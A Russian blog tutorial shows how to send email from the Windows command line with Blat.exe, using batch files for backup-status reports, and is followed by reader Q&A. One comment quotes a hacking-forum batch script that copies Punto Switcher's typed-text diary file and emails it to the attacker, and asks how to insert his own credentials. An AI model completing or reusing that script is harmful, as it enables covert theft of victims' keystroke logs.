Сегодня я расскажу о том, как отправлять сообщения на электронную почту из командной строки. Можно привести массу ситуаций, когда необходимо выполнять данное действие. Например, для контроля выполнения различных регламентных заданий, резервного копирования баз данных и пр. А поможет нам в этом маленькая, удобная и абсолютно бесплатная утилита Blat.exe.
1. Утилита Blat.exe
Скачать программу Blat можно с официального сайта или с текущего. На момент написания статьи последней была версия 3.0.7. В архиве 2 папки: full — непосредственно сама программа и docs — документация по программе. Для установки необходимо скопировать содержимое папки full в «C:\Windows\system32\» или в любую другую директорию, но в этом случае при вызове программы придется указывать путь к исполняемому файлу. Я в своем примере буду использовать второй вариант.
Есть возможность сразу создать профиль для отправки сообщений, для этого необходимо выполнить «Blat -install smtp.yoursite.tld youruserid@yoursite.tld». Я не буду рассматривать данный режим работы. Подробнее читайте в файле «readme.txt».
2. bat-файлы для отправки сообщений
Если открыть файл «syntax.txt» из прилагаемой документации, то можно увидеть огромный список команд, поддерживаемый данной утилитой, что говорит о ее богатых возможностях. Выделим основные и получим следующий «батник» send_email.bat (скачать все файлы в одном архиве) для отправки сообщения с адреса report@mydomen.com на адрес user@mydomen.com:
rem *** Путь к программе blat.exe ***
set file_blat=D:\blat\blat.exe
rem *** Путь к файлу с текстом сообщения ***
set file_text=D:\blat\report.txt
rem *** Путь к файлу для сохранения лога ***
set file_log=D:\blat\log_blat.txt
rem *** Данные отправителя ***
set from_server=smtp.mydomen.com
set from_port=25
set from_mail=report@mydomen.com
set from_name=report
set from_pass=password
rem *** Данные получателя ***
set to_mail=user@mydomen.com
set to_subject="Report"
rem *** Отправка сообщения ***
%file_blat% %file_text% -server %from_server%:%from_port% -f %from_mail% -u %from_name% -pw %from_pass% -to %to_mail% -s %to_subject% -log %file_log%
Таким образом, для отправки сообщения достаточно будет просто вызвать файл send_email.bat:
Можно доработать файл таким образом, чтобы адрес получателя и тема сообщения задавалась параметрами запуска. Вот содержимое такого bat-файла:
rem *** Путь к программе blat.exe ***
set file_blat=D:\blat\blat.exe
rem *** Путь к файлу с текстом сообщения ***
set file_text=D:\blat\report.txt
rem *** Путь к файлу для сохранения лога ***
set file_log=D:\blat\log_blat.txt
rem *** Данные отправителя ***
set from_server=smtp.mydomen.com
set from_port=25
set from_mail=report@mydomen.com
set from_name=report
set from_pass=password
rem *** Отправка сообщения ***
%file_blat% %file_text% -server %from_server%:%from_port% -f %from_mail% -u %from_name% -pw %from_pass% -to %1 -s %2 -log %file_log%
И пример его запуска с параметрами:
Если получателей несколько, то при вызове утилиты можно указать текстовый файл с адресами получателей сообщения:
rem *** Путь к программе blat.exe ***
set file_blat=D:\blat\blat.exe
rem *** Путь к файлу с текстом сообщения ***
set file_text=D:\blat\report.txt
rem *** Путь к файлу для сохранения лога ***
set file_log=D:\blat\log_blat.txt
rem *** Путь к файлу с адресами получателей ***
set file_to=D:\blat\mail_list.txt
rem *** Тема сообщения ***
set to_subject="Report"
rem *** Данные отправителя ***
set from_server=smtp.mydomen.com
set from_port=25
set from_mail=report@mydomen.com
set from_name=report
set from_pass=password
rem *** Отправка сообщения ***
%file_blat% %file_text% -server %from_server%:%from_port% -f %from_mail% -u %from_name% -pw %from_pass% -tf %file_to% -s %to_subject% -log %file_log%
Где файл mail_list.txt будет содержать адреса получателей разделенные переносом строки.
Ну и наконец, приведу пример файла, который я использую в данный момент. В нем все файлы находятся в директории с исполняемым bat-файлом, список адресов берется из файла, а тема письма задается параметром. Сделано это для того чтобы в зависимости от работы задания отсылать письма с разной темой. Например:
rem Резервное копирование завершилось успешно
call D:\blat\send_email.bat "Backup - OK"
rem Резервное копирование завершилось c ошибкой
call D:\blat\send_email.bat "Backup - ERROR"
Содержимое файла:
rem *** Основная директория файла ***
set dir=%~dp0
rem *** Путь к программе blat.exe ***
set file_blat=%dir%\blat.exe
rem *** Путь к файлу с текстом сообщения ***
set file_text=%dir%\report.txt
rem *** Путь к файлу для сохранения лога ***
set file_log=%dir%\log_blat.txt
rem *** Путь к файлу с адресами получателей ***
set file_to=%dir%\mail_list.txt
rem *** Данные отправителя ***
set from_server=smtp.mydomen.com
set from_port=25
set from_mail=report@mydomen.com
set from_name=report
set from_pass=password
rem *** Отправка сообщения ***
%file_blat% %file_text% -server %from_server%:%from_port% -f %from_mail% -u %from_name% -pw %from_pass% -tf %file_to% -s %1 -log %file_log%
3. Заключение
Данные примеры не описывают все возможности программы Blat.exe. Она поддерживает сервера SMTP, NNTP, POP3 и IMAP, есть возможность хранить настройки в файле или в реестре, прикреплять вложения в тело письма и многое другое. Я думаю, что взяв за основу предложенные выше файлы, вы сможете написать любой скрипт для отправки электронных сообщений при помощи этой замечательной утилиты.
Спасибо за знакомство с утилитой. Проверил, работает нормально. Логи пишет. Потрясающее, очень функционально.
Спасибо, работает!
Пожалуйста, рад стараться! 🙂
Привет Виталий
Вот в этой статье https://xaker.name/threads/29763/
Там создают один бантик код у него такой
@echo off
copy /Y «%APPDATA%\Yandex\Punto Switcher\User Data\diary.dat» «%APPDATA%\diary.dat» >nul
start blat.exe -install smtp.mail.ru [email]TEST@mail.ru[/email] 3 25 — [email]TEST@mail.ru[/email] ПАРОЛЬ
blat.exe -body «DiaryPS» -subject DiaryPS -to [email]TEST@mail.ru[/email] -attach %APPDATA%\diary.dat
exit
Допустим почта у меня такая hak.peh@yandex.ru
а пароль 12345
Там написано как вставлять но я не понял .
как он будет выглядеть в коде ?
заранее спасибо ))
Добрый день.Для моей ситуации посоветовали именно эту програмку,помогите разобраться.Мне нужно что бы с домашнего компьютера при подключении к интернету(динамический ip адрес) blat.exe отправляла его ip адрес мне на почту что бы я мог с работы подключаться к домашнему компьютеру.Как это организовать?
Уже разобрался.
Надеюсь ты разобрался с DynDNS ? ()
А не с программой отправки почты из командной строки…
Сергею верно посоветовали, блат посылает письмо и по заголовку читаеться ip. А свой комент засунь в жопу т.к. он не подходит.
Такой вопрос, возвращает ли прога статус завершения?
Как определить отправлена ли почта?
Можно через %ERRORLEVEL%
Вот, нашел пример на официальном сайте:
А как отправить картинку, вложения поддерживает?
Да, вложения поддерживаются. Ключ:
Подробнее можно прочитать в файле syntax.txt, каталога docs, дистрибутива установки.
Добрый день. Не получается отправить этой утилитой (и не только этой) сообщение через Яндекс. Указываю сервис smtp.yandex.ru, порт 465, логин и пароль — без ошибок. Причина скорее всего в SSL, но в статье и в комментариях об этом ни слова. Может это только я где-то туплю? Как все-таки отправить почту через Яндекс?
У меня тоже не получилось
такая же фигня статью скопируют а на важные вопросы не отвечают что действительно заботит пользователей
Статью я не «копировал» а писал самостоятельно. Писал в то время, когда и mail и yandex работали по 25-ому порту. В настоящее время необходимо использовать протокол SSL и, соответственно, 465-ый порт, однако программа данный протокол не поддерживает. Сделать перенаправление с 25-ого порта на 465 можно с помощью бесплатной программы stunnel.
ПОМОГИТЕ — Скажите почему не таботает код??
ipconfig /all > id.txt
blat.exe -install -server smtp.mail.ru -port 25 -f tolianvlaev_mail.ru@mail.ru -u tolianvlaev_mail.ru@mail.ru -pw 123456789
blat.exe id.txt -to tolianvlaev_mail.ru@mail.ru
del id.txt
pause
На mail.ru c 1-ого декабря 2014 года закрыт порт 25. Необходимо использовать порт 465 для защищенного соединения SSL, однако программа данный протокол не поддерживает. Сделать перенаправление с 25-ого порта на 465 можно с помощью бесплатной программы stunnel.
поможете прописать?
Надо отдельную статью писать про stunnel. Но в ближайшее время написать ее не смогу по причине острой нехватки времени. Попробуйте поискать мануал по этой программе на других ресурсах, например здесь или здесь. Для mail.ru все то же.
спасибо, помогло
но программа должна висеть в трее
есть альтернатива?
Не обязательно держать программу в трее, установите ее как службу (в каталоге с установленной программой есть соответствующий ярлык).
все зароботало, а как сделать, чтобы он не выводил сообщения о запуске, установке, удалении, и остановке сервера??
ага все решил
спасибо за все)))
А не знаете почему на одном компе работает, а на другом — нет
FireWall не настроен, прав не хватает.
При получении писем кодировка не читаемая, приходится в каждом письме менять кодировку на Кириллица (Windows). И тема на русском языке не отражается.
Как этого избежать?
Посмотрите, как можно сменить кодировку письма.
Вот описание параметров программы: http://www.blat.net/syntax/syntax.html
День добрый.
Очень интересная и нужная тема. У меня возник вопрос к знающим людям, сам не очень в коде. Отправку сообщения настроил, письмо приходит пустое. Как мне присылать письмо с содержанием, что в папке C:\backup был создан бэкап (название бэкапа и обьем). Буду очень признателен за помощь.
blat не обновлялся с 2014 г.!
М.б., стоит перейти на использование https://sourceforge.net/projects/mail-alert/reviews ?